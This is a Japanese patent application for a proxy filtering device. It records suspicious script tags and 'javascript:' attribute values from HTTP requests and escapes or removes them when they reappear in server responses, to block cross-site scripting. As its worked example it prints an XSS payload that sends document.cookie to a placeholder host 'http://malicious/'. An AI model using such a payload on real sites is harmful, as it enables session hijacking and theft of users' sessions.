(57)【要約】【課題】  サーバからクライアントへのアクセス応答中に残った有害な不正コードを除去すること。【解決手段】  予め与えられたルールに基づきサーバへのアクセス要求とそのアクセス応答をフィルタリングする装置において、アクセス要求を受け取った時に、サーバにとって無害だがクライアントにとって有害な不正コードがアクセス要求に含まれていたら記憶しておき、そのアクセス要求に対するアクセス応答を受け取った時に、記憶しておいた不正コードがそのアクセス応答の中に残っていたら取り除く。【選択図】      図１
2005092564.tif 000002
【特許請求の範囲】
【請求項１】
クライアントと、該クライアントからのアクセス要求に対してアクセス応答を返すサーバとの間で行われる通信を中継し、ルールテーブルに予め記憶した不正コード検出ルールに基づいて前記アクセス要求をフィルタリングするＩＮフィルタと、前記不正コード検出ルールに基づいて前記アクセス応答をフィルタリングするＯＵＴフィルタとを備えたフィルタリング装置であって、
前記ＩＮフィルタは、前記クライアントからのアクセス要求を受け、該アクセス要求中に前記不正コード検出ルールに規定されたコードが含まれているかを検査し、含まれていたならば当該コードをバッファメモリへコピーする手段を備え、
前記ＯＵＴフィルタは、前記サーバからのアクセス応答を受け、該アクセス応答中に前記バッファメモリに記憶されているコードに対応するコードが含まれているかを検査し、含まれていた場合には、当該コードを、前記バッファメモリに記憶されているコードを検出した不正コード検出ルールに規定された処理に基づき変更する手段を備える
ことを特徴とするフィルタリング装置。
【請求項２】
前記不正コード検出ルールは不正なタグを検出するルールである不正タグ検出ルールであることを特徴とする請求項１に記載のフィルタリング装置。
【請求項３】
前記不正コード検出ルールは不正なタグ属性値を検出するルールである不正タグ属性値検出ルールであることを特徴とする請求項１に記載のフィルタリング装置。
【請求項４】
前記前記不正コード検出ルールを更新するインタフェースを備えることを特徴とする請求項１〜３のいずれか一項に記載のフィルタリング装置。
【発明の詳細な説明】
【技術分野】
【０００１】
本発明は、クライアントと該クライアントからのアクセス要求に対して応答を返すサーバとの間で行われる通信を中継する際に、前記アクセス要求に含まれ、該サーバによって取り除かれずに前記応答に残った不正コードをフィルタリングする装置に関するものである。
【背景技術】
【０００２】
インターネットに公開したＷｅｂサーバに対する不正アクセスを防止する技術としてファイアウォールがある。ファイアウォールは、Ｗｅｂサーバに送られたアクセス要求をＷｅｂサーバの代わりに受け取り、そのアクセス要求が予め定められたルールに従っていればＷｅｂサーバに転送し、従っていなければ転送しない。
そのようなファイアウォールの一種として、ＷｅｂサーバやＷｅｂサーバ上に構築されたＷｅｂアプリケーションの脆弱性を悪用した不正アクセスを防ぐことを目的としたものがある。例えば、特開２００２−３４２２７９号公報に開示されたものがこれに相当する。これは、Ｗｅｂサーバとの通信に用いられるＨＴＴＰ(Hyper-Text Transfer Protocol)の通信を解析し、既知の不正アクセスパターンと比較して不正アクセスの有無を検知するものである。
【０００３】
一方、現在、広く使われているＷｅｂブラウザ（Ｗｅｂサーバにアクセスするクライアント側のソフトウェア）は、スクリプト言語で作成されたプログラム（以下、スクリプトと呼ぶ）を実行する能力を持つ。通常、スクリプトはＨＴＭＬ(Hyper-Text Markup Language)文書に埋め込まれ、Ｗｅｂサーバへのアクセス要求に対する応答として、ＷｅｂサーバからＷｅｂブラウザに送られる。送り込まれたスクリプトは、ＨＴＭＬだけで記述した文書では不可能な様々な機能を実現する。なお、Ｗｅｂブラウザが実行可能なスクリプト言語の代表的なものにＪａｖａＳｃｒｉｐｔ(Javaは登録商標）やＶＢＳｃｒｉｐｔなどがある。これらのスクリプト言語で記述されたスクリプトは、埋め込まれたＨＴＭＬ文書に関連する様々な情報にアクセスしたり、自動的にＷｅｂサーバへアクセス要求を送ったりできる。
【特許文献１】特開２００２−３４２２７９号公報
【０００４】
ところで、Ｗｅｂアプリケーションの脆弱性の１つにクロスサイトスクリプティング脆弱性と呼ばれるものがある。これは、アクセス要求に含まれたスクリプトを、Ｗｅｂアプリケーションが取り除くことに失敗し、Ｗｅｂブラウザへの応答に含めて返してしまうという脆弱性である。この脆弱性を利用すると、悪意のある者は不正なスクリプトを第三者のＷｅｂブラウザに読み込ませ、その不正なスクリプトを実行させることができる。
第三者に対して不正なスクリプトを埋め込んだアクセス要求を送らせるために、悪意のある者は罠を仕込む。例えば、自分のホームページにターゲットとなるＷｅｂアプリケーションへのリンクを張っておく。そしてこのリンクは、クリックすると不正なスクリプトを含むアクセス要求をＷｅｂアプリケーションへ送るようにしておく。たまたま罠が張られたホームページを訪れた第三者がそのリンクをクリックすると、その第三者のＷｅｂブラウザは不正なスクリプト付きのアクセス要求をＷｅｂアプリケーションに送ってしまう。そして、そのＷｅｂアプリケーションがその不正なスクリプトを取り除くのに失敗し応答に含めてしまうと、これを受け取ったＷｅｂブラウザ上でその不正なスクリプトが実行されてしまう。
多くのＷｅｂアプリケーションは、個々のＷｅｂブラウザとの通信セッションを識別するために、セッションＩＤをＨＴＴＰ通信のクッキーと呼ばれる部分に埋め込み、Ｗｅｂブラウザとやり取りする。このようなＷｅｂアプリケーションに前記のようなクロスサイトスクリプティング脆弱性があった場合、悪意のある者はこのＷｅｂアプリケーションにアクセスしたＷｅｂブラウザに、クッキーを読み込んで他のＷｅｂサーバに送る不正なスクリプトを送り込み、セッションＩＤを盗むことができてしまう。盗んだセッションＩＤを使えば、元々そのセッションＩＤを割当てられたＷｅｂブラウザ（を使用するユーザ）に成り代わってＷｅｂアプリケーションへ不正にアクセスする、いわゆるセッションハイジャック攻撃を行える。
【０００５】
クロスサイトスクリプティング脆弱性は、ＷｅｂアプリケーションがＷｅｂブラウザからのアクセス要求に含まれる不正なスクリプトを適切に取り除き、応答に含めなければ防げる。しかしながら、Ｗｅｂアプリケーションを構築する技術者の不注意や技術力不足などのため、クロスサイトスクリプティング脆弱性を持つＷｅｂアプリケーションが多く存在すると言われている。
なお、クロスサイトスクリプティング脆弱性や、これを悪用した攻撃方法、この脆弱性を持つＷｅｂアプリケーションのあるＷｅｂサイトについては、下記の非特許文献に詳しい。
【非特許文献１】高木浩光  他：クロスサイトスクリプティング攻撃に対する電子商取引サイトの脆弱さの実態とその対策：ＩＰＳＪ  ＣＳＥＣ  第４回コンピュータセキュリティシンポジウム（ＣＳＳ  ２００１）
【発明の開示】
【発明が解決しようとする課題】
【０００６】
前述のクロスサイトスクリプティング脆弱性を悪用した攻撃からＷｅｂアプリケーションを保護する方法の一つとして、前記特開２００２−３４２２７９号のように、Ｗｅｂアプリケーションへのアクセス要求をＷｅｂアプリケーションの代わりに受け取り、フィルタリングする方法が考えられる。
例えば、ＨＴＭＬ文書においてスクリプトの存在を示す、“＜SCRIPT＞”と“＜/SCRIPT＞”に囲まれたデータのように、「不正とみなすデータ」がアクセス要求に含まれていたら、アクセス要求をＷｅｂアプリケーションに転送しなければよい。しかし、ホームページ検索サービスのように、ユーザから送られたデータをＷｅｂアプリケーションの入力としてそのまま使う場合、先にフィルタリングできない場合もある。
また、Ｗｅｂアプリケーションからの応答をフィルタリングする場合、その応答中のＨＴＭＬ文書にはアクセス要求に含まれていたスクリプトだけでなく、Ｗｅｂアプリケーション自身によって埋め込まれたスクリプトが含まれる可能性がある。それらを区別するには事前に不正ではないスクリプトについての情報（ＷｅｂページのＵＲＩ(uniform resource identifier)やＷｅｂページ内での位置など）を何らかの方法でフィルタに登録する必要がある。しかし、これを人手で行うには、特に大規模なＷｅｂサイトでは、手間もかかる上に登録洩れの恐れもある。この登録作業を自動化するには、アクセス要求の内容に応じて内容が変わるＷｅｂページの扱いが難しい。
【０００７】
そこで本発明は、Ｗｅｂアプリケーションへのアクセス要求とこの要求に対する応答との両方を監視することで、予め定めされた不正とみなすコードを前記応答から取り除く手段を持つフィルタリング装置を提供することを目的とする。
【課題を解決するための手段】
【０００８】
上記目的を達成するために、本発明のフィルタリング装置は、クライアントと、該クライアントからのアクセス要求に対してアクセス応答を返すサーバとの間で行われる通信を中継し、ルールテーブルに予め記憶した不正コード検出ルールに基づいて前記アクセス要求をフィルタリングするＩＮフィルタと、前記不正コード検出ルールに基づいて前記アクセス応答をフィルタリングするＯＵＴフィルタとを備えたフィルタリング装置であって、
前記ＩＮフィルタは、前記クライアントからのアクセス要求を受け、該アクセス要求中に前記不正コード検出ルールに規定されたコードが含まれているかを検査し、含まれていたならば当該コードをバッファメモリへコピーする手段を備え、
前記ＯＵＴフィルタは、前記サーバからのアクセス応答を受け、該アクセス応答中に前記バッファメモリに記憶されているコードに対応するコードが含まれているかを検査し、含まれていた場合には、当該コードを、前記バッファメモリに記憶されているコードを検出した不正コード検出ルールに規定された処理に基づき変更する手段を備えることを特徴とする。
また、前記不正コード検出ルールは不正なタグを検出するルールである不正タグ検出ルールであることを特徴とする。
また、前記不正コード検出ルールは不正なタグ属性値を検出するルールである不正タグ属性値検出ルールであることを特徴とする。
また、前記前記不正コード検出ルールを更新するインタフェースを備えることを特徴とする。
【発明の効果】
【０００９】
本発明によれば、サーバに対するアクセス要求に含まれた不正コードが該サーバにより取り除かれず、該アクセス要求に対する応答に残ったとしても、フィルタリング処理によって不正コードを取り除くことができる。
特に、クロスサイトスクリプティング脆弱性を持つＷｅｂアプリケーションが、受け取ったＨＴＴＰ要求に含まれる不正なスクリプトをＨＴＴＰ応答に含めてしまっても、該不正スクリプトは本発明のフィルタリング処理により取り除かれ、ＨＴＴＰ応答を受け取るＷｅｂブラウザで実行されない。
本発明のフィルタリング装置は、アクセス要求に含まれる不正コードは取り除かずに目星を付けておき、該目星を付けておいた不正コードが該アクセス要求への応答に残っていたら取り除く手法である。従って、サーバにとっては無害で意味があるが、クライアントにとっては有害となる不正なコードを取り除くことができる。
また、このような不正コードは、本来はサーバによって取り除かれなければならない。しかし、クロスサイトスクリプティング脆弱性を持つＷｅｂアプリケーションが世の中に存在するように、アクセス要求の処理や応答の生成処理を開発する者の不注意や技術力不足のため、応答内に不正コードが残ることがある。本発明のフィルタリング装置ではこのような問題も一挙に解決することができる。
さらに、多くのＷｅｂアプリケーションは無害なスクリプトをＨＴＭＬ文書に埋め込んでクライアントに送っている。そのため、このようなスクリプトと、ＨＴＴＰ要求に含まれ、誤ってＨＴＴＰ応答に残ってしまった不正なスクリプトとを区別することが必要になる。このような区別のために、Ｗｅｂアプリケーションの開発者が無害なスクリプトのＨＴＭＬ文書内での位置やスクリプトそのものを各ＨＴＭＬ文書ごとにフィルタリング装置に指示することは、大きな手間がかかる。特に、動的に生成されるＨＴＭＬ文書では、生成後に含まれるスクリプトが異なる可能性もあり、指示方法が複雑になると予想できる。本発明のフィルタリング装置によれば、不正なコードをアクセス要求を受け取った時に目星を付け、アクセス応答に残っていたら取り除く。従って、前記のような区別は自動的に行われ、サーバの管理者の手間を省くことができる。管理者が行う作業は、フィルタリング用の幾つかのルールを考案し、フィルタリング装置に与えることだけになる。そのうえ、クロスサイトスクリプティング脆弱性のように広く知れ渡っているものであれば、本発明の実施例で示したようなルールが世の中で共通に利用可能である。Ｗｅｂアプリケーションの開発者は本発明の普及により、コンピュータウィルスの検知・駆除用のウィルス定義ファイルを入手するのと同様に、適切なルールを信頼できる者から取り寄せてフィルタリング装置に設定する作業だけを行えばよいようになる。
【発明を実施するための最良の形態】
【００１０】
以下、本発明の実施の形態を図面を参照して詳細に説明する。
図１は、本発明のフィルタリング装置を適用したネットワークシステムの実施の形態を示すシステム構成図である。
図１において、１０１はコンピュータ間の通信データが流れるネットワークである。なお、本実施形態ではコンピュータ間の通信プロトコルとしてＨＴＴＰを例に説明するが、本実施形態で示す手順は他のプロトコルに対しても適用可能である。
１０２はネットワーク１０１に接続するクライアントコンピュータである。クライアントコンピュータ１０２ではＷｅｂブラウザ１０３が動作している。ユーザはクライアントコンピュータ１０２を介してＷｅｂブラウザ１０３を操作し、ネットワーク１０１に接続されたＷｅｂサーバ１０５へＨＴＴＰ要求を送る。
１０４はサーバコンピュータであり、Ｗｅｂサーバ１０５とＷｅｂアプリケーション１０６が動作している。Ｗｅｂサーバ１０５はＷｅｂブラウザ１０３からのＨＴＴＰ要求を受付け、Ｗｅｂアプリケーション１０６へ渡す。Ｗｅｂアプリケーション１０６はＨＴＴＰ要求に含まれるデータに対して所定の処理を行い、ＨＴＴＰ応答を生成してＷｅｂサーバ１０５へ渡す。そしてＷｅｂサーバ１０５がそのＨＴＴＰ応答をＷｅｂブラウザ１０３へ送る。
ここでＷｅｂアプリケーション１０６は、ＨＴＭＬのフォーム機能を利用してＷｅｂブラウザを操作するユーザに文字列を入力させ、その文字列をＨＴＴＰ要求で受け取る。そして、その文字列にスクリプトなどの不正なコードが含まれているか調べずにそのまま表示するＨＴＭＬ文書を生成し、ＨＴＴＰ応答に含めてＷｅｂブラウザに送り返すものとする。なお、どのような文字列を不正なコードと定義するかはＷｅｂアプリケーション１０６に依存する。
【００１１】
本実施形態のＷｅｂアプリケーション１０６は、ユーザがログイン後に、ユーザが与えた検索文字列でＷｅｂサイト内のデータを検索し、一致した項目を表示するものと仮定する。ユーザがログイン後にはセッションＩＤがクッキーにセットされ、その後のＨＴＴＰ要求やＨＴＴＰ応答に含まれるとする。ユーザに検索文字列を入力させるフォームを含むＨＴＭＬ文書の例を図２に、検索結果を表示するＨＴＭＬ文書を図３に示す。
また、Ｗｅｂアプリケーション１０６が不正コードとみなす文字列はスクリプトとする。
１０７は本発明に係るフィルタリング装置であり、ネットワーク１０１とサーバコンピュータ１０４間の通信を中継する。その際、ＩＮフィルタ１０８とＯＵＴフィルタ１０９がルールテーブル１１０に予め設定された不正コード検出ルールに基づいてその通信内容をフィルタリングする。ルールテーブル１１０の詳細は図４で、フィルタリング処理の詳細は図５以降で説明する。
ルール入出力部１１１は、フィルタリング装置１０７の外部からルールテーブル１１０を参照及び更新するためのインタフェースである。本実施形態では、インタフェースの種類を特定しないが、入力用キーボードと表示用ディスプレイの組み合わせでも、ネットワークでもよい。これらインタフェースを通して、フィルタリング装置１０７の管理者はルールテーブル１１０に不正コード検出ルールを追加したり、更新したりする。
なお、本実施形態で示すＨＴＭＬタグや属性名、属性値の検索は全て大文字小文字を区別しない。
【００１２】
図２は、本実施形態におけるＷｅｂアプリケーション１０６がユーザに検索文字列を入力させる場合の入力フォームのＨＴＭＬ文書の例を示すものである。このＨＴＭＬ文書を表示したクライアントコンピュータ１０２のＷｅｂブラウザ１０３上でユーザが検索文字列を入力して”search”ボタンを押すと、ユーザが入力した検索文字列がＨＴＴＰ要求に含まれＷｅｂアプリケーション１０６に送られる。
【００１３】
図３は、本実施形態におけるＷｅｂアプリケーション１０６が検索結果を表示するために生成するＨＴＭＬ文書の例を示すものである。ここでは簡単のため、検索文字列に一致するデータが見つからず、その文字列を表示する例を示している。実際にユーザが入力した検索文字列は、図３の”your_search_key”と置き換わり表示される。
【００１４】
図４は、本実施形態におけるルールテーブル１１０の詳細を示す図である。
図４の１行目を除く各行が、ＩＮフィルタ１０８とＯＵＴフィルタ１０９のフィルタリング処理を規定するルールである。それぞれの列は順に、（１）ルール参照番号、（２）不正コード検索キーの指定（以下、ｋｅｙと略す）、（３）不正コードを含む可能性のある要素のタグ名（同tag_name）、（４）タグ名だけで不正コードの有無を判断できない時に調べる、前記タグの属性の名前（同attr_name）、（５）不正コードがあると判断する、前記属性の値（同attr_value）、（６）発見した不正コードを無害化するための処理方法（同action）を表す。
ルールテーブル１１０は、不正タグを検出するルールと不正タグ属性値を検出するルールとの２種類のルールを持つ。
ルールの内容は、ＨＴＴＰ要求やＨＴＴＰ応答に含まれるどのような文字列を不正コードとみなすかによって異なる。図４に示す各ルールはあくまでも一例である。
なお、図４の１行目は、本実施形態の説明でルールテーブル１１０の各列のデータを識別し易くするために便宜上、記したもので、実際のルールテーブルにはなくてもよい。さらに本実施形態ではルールデータのまとまりを便宜上ルールテーブルと呼ぶが、実際のデータ形式はフィルタリング装置の扱いやすいもの、例えば２次元配列やリンクリストなどでもよい。本発明では、このような２次元配列やリンクリストを総称してルールテーブルと言う。
また、不正コードの挿入方法は日々新たに発見されていくので、実際のルールテーブルの書式や具体的なルールは図４に限定されない。
【００１５】
図５は、本実施形態におけるフィルタリング装置１０７の処理手順を示すフローチャートである。
ここで示す手順は、ネットワーク１０１経由で送られたＷｅｂサーバ１０５宛てのＨＴＴＰ要求をフィルタリング装置１０７が受け取ったときに開始する。
まず、ステップ５０１において、フィルタリング装置１０７はそのメモリ上に領域を確保した一致文字列バッファを初期化する。一致文字列バッファはＩＮフィルタ１０８の処理結果をＯＵＴフィルタ１０９へ渡すためのバッファである。その詳細は図８において説明する。
次に、ステップ５０２において、フィルタリング装置１０７は受け取ったＨＴＴＰ要求を内部メモリ中にコピーし、ＩＮフィルタ１０８に渡す。
次に、ステップ５０３において、ＩＮフィルタ１０８は、渡されたＨＴＴＰ要求のコピーをルールテーブル１１０に規定されたルールに従い処理し、その結果を前記一致文字列バッファに書き込む。この処理の詳細は図６を用いて説明する。
次に、ステップ５０４において、フィルタリング装置１０７はＷｅｂブラウザ１０３から受け取ったＨＴＴＰ要求をその宛先であるＷｅｂサーバ１０５へ送る。
次に、ステップ５０５において、フィルタリング装置１０７はＷｅｂサーバ１０５からＨＴＴＰ要求の処理結果であるＨＴＴＰ応答を受け取るまで待機する。
次に、ステップ５０６において、フィルタリング装置１０７はＨＴＴＰ応答を受け取った後、ＩＮフィルタ１０８の処理結果が前記一致文字列バッファにあるかどうか調べる。すなわち、不正コード検出ルールに規定された不正コードに該当するコードの検出結果が一致文字列バッファに格納されているかどうかを調べる。もし、不正コードに該当するコードがなければ、一致文字列バッファは空であることになる。不正コードに該当するコードが格納されていたならば、続いてステップ５０７の処理を行い、格納されていなければ、ステップ５１１の処理に移る。
ステップ５０７では、フィルタリング装置１０７は、Ｗｅｂサーバ１０５から受け取ったＨＴＴＰ応答を内部メモリ中にコピーし、ＯＵＴフィルタ１０９に渡す。
次に、ステップ５０８において、ＯＵＴフィルタ１０９は、ＨＴＴＰ応答のコピーをルールテーブル１１０に規定されたルールに従い処理し、その結果をフィルタリング装置１０７に返す。この処理の詳細は図９を用いて説明する。
次に、ステップ５０９において、フィルタリング装置１０７は、ＯＵＴフィルタ１０９からの出力が空文字列であればステップ５１１の処理に移り、そうでなければ次のステップ５１０の処理を行う。
ステップ５１０では、フィルタリング装置１０７は、保持していたＨＴＴＰ応答を消去し、ＯＵＴフィルタ１０９からの出力文字列をＷｅｂサーバ１０３に送るＨＴＴＰ応答とする。
最後にステップ５１１では、フィルタリング装置１０７はＨＴＴＰ応答をＷｅｂブラウザ１０３に送る。
【００１６】
図６は、本実施形態におけるＩＮフィルタ１０８の処理手順を示すフローチャートである。本手順はフィルタリング装置１０７からＨＴＴＰ要求を渡された時に開始される。本手順で取り上げる例では、図７に例示するのＨＴＴＰ要求が渡されたものとする。この図７のＨＴＴＰ要求に含まれたフォームの入力データには、実行されるとクッキーをhttp://malicious/に送るスクリプトが含まれている。
まず、ステップ６０１において、ＩＮフィルタ１０８はＨＴＴＰ要求に含まれたフォームの入力データを取り出す。図７の例ではＧＥＴメソッドが使われているので、指定されたＵＲＩのクエリストリング内（図中、１行目の”/cgi-bin/search?”以降）にフォームの入力項目名と入力文字列が含まれている。この文字列からフォーム入力文字列（同”ｋｅｙ＝”以降）を取り出す。本手順で取り上げる例では以下のような文字列である（両端のダブルクォーテーションは含まない）。
”test＜script＞window.open("http://malicious/save.cgi?"+escape(document.cookie))＜/script＞”
なお、フォームの送信にＰＯＳＴメソッドが使われていた場合、ＨＴＭＬ要求のメッセージ部にフォームの入力項目名とフォーム入力文字列が含まれる。この文字列からＧＥＴメソッドの場合と同様にしてフォーム入力文字列を取り出すことができる。
【００１７】
次にステップ６０２において、ＩＮフィルタ１０８は前記フォーム入力文字列に対し、ルールテーブル１１０内のルールを全て適用し終わったか調べる。全て適用していれば本手順は終了し、そうでなければ次の手順に進む。
ステップ６０３において、ＩＮフィルタ１０８は次のルールをルールテーブル１１０から読み込む。本手順で取り上げる例では、まず図４の１つめのルール参照番号１のルールを読み込む。
次にステップ６０４において、ＩＮフィルタ１０８は読み込んだルールのｋｅｙ列のデータを取り出し、tag_nameであればステップ６０５、attr_valueであればステップ６０９に進む。本手順で取り上げる例では前者に該当するので、続いてステップ６０５に進む。
ステップ６０５において、ＩＮフィルタ１０８は前記ルールのtag_name列に指定したタグ名（scriptやstyle,imgなど）を含むＨＴＭＬ要素が、フォーム入力文字列に存在するか調べる。そのために前記タグ名の前に文字”＜”を連結して、フォーム入力文字列を検索する。もし存在すれば、ステップ６０６に進み、存在しなければステップ６０２に戻る。本手順で取り上げる例では、文字列”＜script”でステップ６０１のフォーム入力文字列を検索する。一致する文字列が見つかるのでステップ６０６に進む。
ステップ６０６において、ＩＮフィルタ１０８はルールテーブル１１０のattr_name列のデータを取り出す。もし空文字列であれば、前記フォーム入力文字列が不正コードであると確定するので、ステップ６０８に進む。そうでなければステップ６０７に進む。本手順で取り上げる例ではattr_name列のデータが空文字列であるのでステップ６０８に進む。
【００１８】
ステップ６０７において、ＩＮフィルタ１０８はルールテーブル１１０のattr_name列の文字列、文字”＝”、attr_value列の文字列を連結して、tag_name列のタグの属性を指定する文字列が、ユーザ入力文字に含まれるか検索する。含まれていればフォーム入力文字列を不正コードとみなし、ステップ順６０８に進む。含まれていなければステップ６０２に戻る。
なお、実際には、図２、３に示すようにタグの属性値はダブルクォーテーションマーク（”）で囲まれたり、”＝”の前後に任意長の空白文字（スペース、タブ、改行など）が含まれたりするので、それを考慮して調べることになる。また、タグの属性値はタグ名の後、文字”＞”までの間に現れなくてはならないので、この点も検索の際に考慮する。
【００１９】
ステップ６０７は、フォーム入力文字列にタグ名だけで不正コードと判断できない文字列が与えられ、かつ図４のルール参照番号２のルールのように、attr_name列とattr_value列に属性名と属性値が指定されたルールを適用する場合に実行される。
例えば、”＜style type=text/javascript＞…＜/style＞”のようなスタイルタグを含む文字列は、タグ名だけではスクリプトのような不正コードが含まれると判断できない。そこで、上記のように属性値を検索する必要がある。
ステップ６０８において、ＩＮフィルタ１０８は不正なコードが見つかったフォーム入力文字列と、その発見に使用したルール参照番号を組にして一致文字列バッファに追加し、ステップ６０２に戻る。本手順で取り上げる例では、一致文字列バッファには図８のように記録する。
【００２０】
一方、ステップ６０９において、ＩＮフィルタ１０８はルールテーブル１１０のattr_value列の文字列がフォーム入力文字列に含まれるか検索する。見つかればステップ６０８へ、見つからなければステップ６０２へ戻る。
ステップ６０９は、タグの属性値内に含まれる不正コードである不正タグ属性値を発見するための処理である。例えば、ＵＲＩを指定可能なタグ属性に”javascript:…”のようなスクリプトを含むＵＲＩを与えると、”…”部のスクリプトが実行されてしまう。そのようなタグの記述例として”＜img src=javascript:…＞”がある。図４のルール参照番号ｎのルールは、このような不正コードを発見するためのものである。
ところで、属性値に埋め込まれた不正コードは２通りの方法で生成されうる。１つは、タグとその属性が一緒にフォーム入力文字列に埋め込まれ（例えば”＜img src=javascript:…＞”）、そのままＨＴＴＰ応答のＨＴＭＬ文書に現れる場合である。もう１つは、フォーム入力文字列がＷｅｂアプリケーションによってタグの属性値に埋め込まれ（例えば”javascript:…”が”＜img src=$＞”の”$”と置換される）、ＨＴＴＰ応答のＨＴＭＬ文書に現れる場合である。
ただし、後者の場合、フォーム入力文字列がＷｅｂアプリケーション１０６によって属性値として扱われず、ＨＴＴＰ応答のＨＴＭＬ文書中に含まれる場合、このＨＴＴＰ応答を受け取ったＷｅｂブラウザ１０３は悪影響を受けない。従って、フォーム入力文字列を単純に調べただけでは不正なコードであるかどうか判断できない。そこで、ＩＮフィルタ１０８はこのような不正の可能性のある文字列を見つけたらその文字列を一致文字列バッファにコピーし（ステップ６０８）、ＯＵＴフィルタ１０９が不正コードかどうか判断する。
なお、本手順では簡単のため、フォーム入力文字列項目が１つの場合を説明した。もしフォームに入力データ項目が複数ある場合、各入力データ項目はＨＴＴＰ要求内で文字”&”で区切られているので、ステップ６０１で容易に取り出すことができる。各入力項目について、ステップ６０５〜６０８の処理、またはステップ６０９と６０８の処理をすべて行ってから、ステップ６０２に戻って次のルールに移る。
ここで、ステップ６０４の判定で、ステップ６０５へ分岐する流れが不正タグ検出ルールを用いた処理であり、ステップ６０９へ分岐する流れが不正タグ属性値検出ルールを用いた処理である。
【００２１】
図７は、Ｗｅｂブラウザ１０３から送られてきたＨＴＴＰ要求の例である。このＨＴＴＰ要求に含まれるフォームの入力データには、実行されるとクッキーをhttp://malicious/に送るスクリプトが含まれている。ここでは簡単のため、実施形態の説明に必要ないＨＴＴＰ要求ヘッダ部のフィールドなどは省略している。
図８は、本実施形態における一致文字列バッファである。
１列目がルール参照番号、２列目が不正コード（の可能性がある）フォーム入力文字列（以降、一致文字列と呼ぶ）で、各行が一組のデータとなる。
【００２２】
図９は、本実施例におけるＯＵＴフィルタ１０９での処理手順を示すフローチャートである。
本手順はＯＵＴフィルタ１０９にＨＴＴＰ応答のコピーが渡されたときに開始される。本手順で取り上げる例では渡されたＨＴＴＰ応答が図１０に示すように不正コードを含んだＨＴＴＰ応答であったものとする。このＨＴＴＰ応答には、図７のＨＴＴＰ要求に含まれていた、実行されるとクッキーをhttp://malicious/に送るスクリプトがＷｅｂアプリケーション１０６によって適切にエスケープ処理されずに残っている。
まず、ステップ９０１において、ＯＵＴフィルタ１０９は図８の一致文字列バッファ内の全てのエントリを調べ終わったか調べる。調べ終わっていれば、ステップ９０９に移り、調べ終わっていなければステップ９０２に移る。
ステップ９０２において、ＯＵＴフィルタ１０９は一致文字列バッファ内の次のエントリを読み込む。図８の例では１行目のデータを読み込む。
ステップ９０３において、ＯＵＴフィルタ１０９は前記エントリの一致文字列がＨＴＴＰ応答内に含まれているか調べる。含まれていればステップ９０４へ進み、含まれていなければステップ９０１へ戻る。図１０の例に示すＨＴＴＰ応答内には一致文字列が含まれているので、ステップ９０３へ進む。
ステップ９０４において、ＯＵＴフィルタ１０９は前記エントリのルール参照番号のルールをルールテーブル１１０から読み込む。本手順で取り上げた例ではルール参照番号１のルールを図４のルールテーブルから読み込む。
次にステップ９０５において、ＯＵＴフィルタ１０９は前記ルールのｋｅｙ列がtag_nameであれば前記一致文字列を不正コードとみなし、ステップ９０８に移る。attr_valueであればステップ９０６に進む。本手順で取り上げた例ではtag_nameであるのでステップ９０８に移る。
ステップ９０６において、ＯＵＴフィルタ１０９は前記ルールのattr_name列に文字”＝”を連結した文字列が、ステップ９０３で発見した一致文字列の直前に存在するか調べる。存在すればステップ９０７に進み、存在しなければステップ９０１へ戻る。
【００２３】
ステップ９０６の処理は前記ルールのattr_name列とattr_value列で指定される属性を探すことを意味する。図４のルール参照番号３のルールを例にすれば、ＨＴＴＰ応答中で発見した一致文字列が”img=javascript:”という属性指定になっているかどうか調べている。実際には、図２、３に示すようにタグの属性値はダブルクォーテーションマーク（”）で囲まれたり、”＝”の前後に任意長の空白文字（スペース、タブ、改行など）が含まれたりするので、それを考慮して調べる。
ステップ９０７において、ＯＵＴフィルタ１０９は文字”＜”と前記ルールのtag_name列を連結した文字列からなるタグ開始文字列が、ステップ９０６で発見した属性指定文字列の前に存在するか調べる。存在すれば前記発見した属性指定文字列を不正コードとみなし、ステップ９０８に進む。存在しなければステップ９０１へ戻る。
ここで、発見した属性指定文字列からタグ開始文字列に遡るまでに文字”＞”があれば、発見した属性指定文字列はタグの中に記述されていないので属性値ではなく、ステップ９０１へ戻る。しかし、タグ開始文字列や文字”＞”が他の属性値の中に含まれていることもあるので、この点を考慮してタグ開始文字列を探す。
【００２４】
ステップ９０８において、ＯＵＴフィルタ１０９は前記不正コードに対して前記ルールのaction列に指定された処理を行い、ステップ９０１に戻る。
ここで、ステップ９０５の判定で、ステップ９０８へ分岐する流れが不正タグ検出ルールを用いた処理であり、ステップ９０６へ分岐する流れが不正タグ属性値検出ルールを用いた処理である。
本手順で取り上げた例では、図４のルールテーブル１１０の１行目のルール１に指定された処理を行が行われ、ＨＴＴＰ応答に含まれていたスクリプトが以下のように実行されない文字列に変換される（両端のダブルクォーテーションは除く）。
”test&lt;script&gt;window.open("http://malicious/save.cgi?"+escape(document.cookie))&lt;/script&gt;”
【００２５】
図４のルールテーブルに示したａｃｔｉｏｎ列の処理は、“対象：処理、処理、…”の書式となっている。対象がelementの場合は、不正コード内に含まれる、ルールのtag_name列で指定されたタグのＨＴＭＬ要素が処理対象となる。対象がattrの場合は、不正コード内に含まれる、ルールのattr_name列で指定した属性が処理対象となる。処理の{”a”, ”b”}は文字列”ａ”を文字列”ｂ”で置き換えることを意味し、delは削除を意味する。従って、図４の参照番号１のルールが指定する処理は、スクリプトタグで囲まれた要素”＜script＞…＜/script＞”内の”＜”を”&lt;”に、”＞”を”&gt;”に、”&”を”&amp;”に変更することである。
同参照番号２のルールはスタイルタグで囲まれた要素に同様の変更を行うことを指定し、同参照番号３のルールはイメージタグ内の属性srcを削除することを指定する。
ステップ９０９において、ＯＵＴフィルタ１０９はＨＴＴＰ応答に含まれているＨＴＭＬ文書を変更していたか調べる。変更していればステップ９１０に、変更していなければステップ９１１に進む。本手順で取り上げた例ではＨＴＭＬ文書が変更されるのでステップ９１０に進む。
【００２６】
ステップ９１０において、ＯＵＴフィルタ１０９はＨＴＴＰ応答内に埋め込むＨＴＭＬ文書のバイト数を、変更後のＨＴＭＬ文書のバイト数へ修正し、修正後のＨＴＴＰ応答をフィルタリング装置１０７へ返し、本手順を終了する。本手順で取り上げた例ではＨＴＭＬ文書のバイト数が１６進数でａ８バイトからｂ４バイトに修正される。修正後のＨＴＴＰ応答は図１１に示すようになり、下線１１０１〜１１０３で示す文字列が変更されている。
ステップ９１１においては、ＯＵＴフィルタ１０９は空文字列””をフィルタリング装置１０７へ返し、本手順を終了する。
本実施形態では、ＨＴＴＰ要求に含まれたフォーム入力項目だけをルール適用対象としたが、その他の部分、例えばＨＴＴＰ要求のヘッダ部のRefererフィールドなどをルール適用対象に含めてもよい。
【００２７】
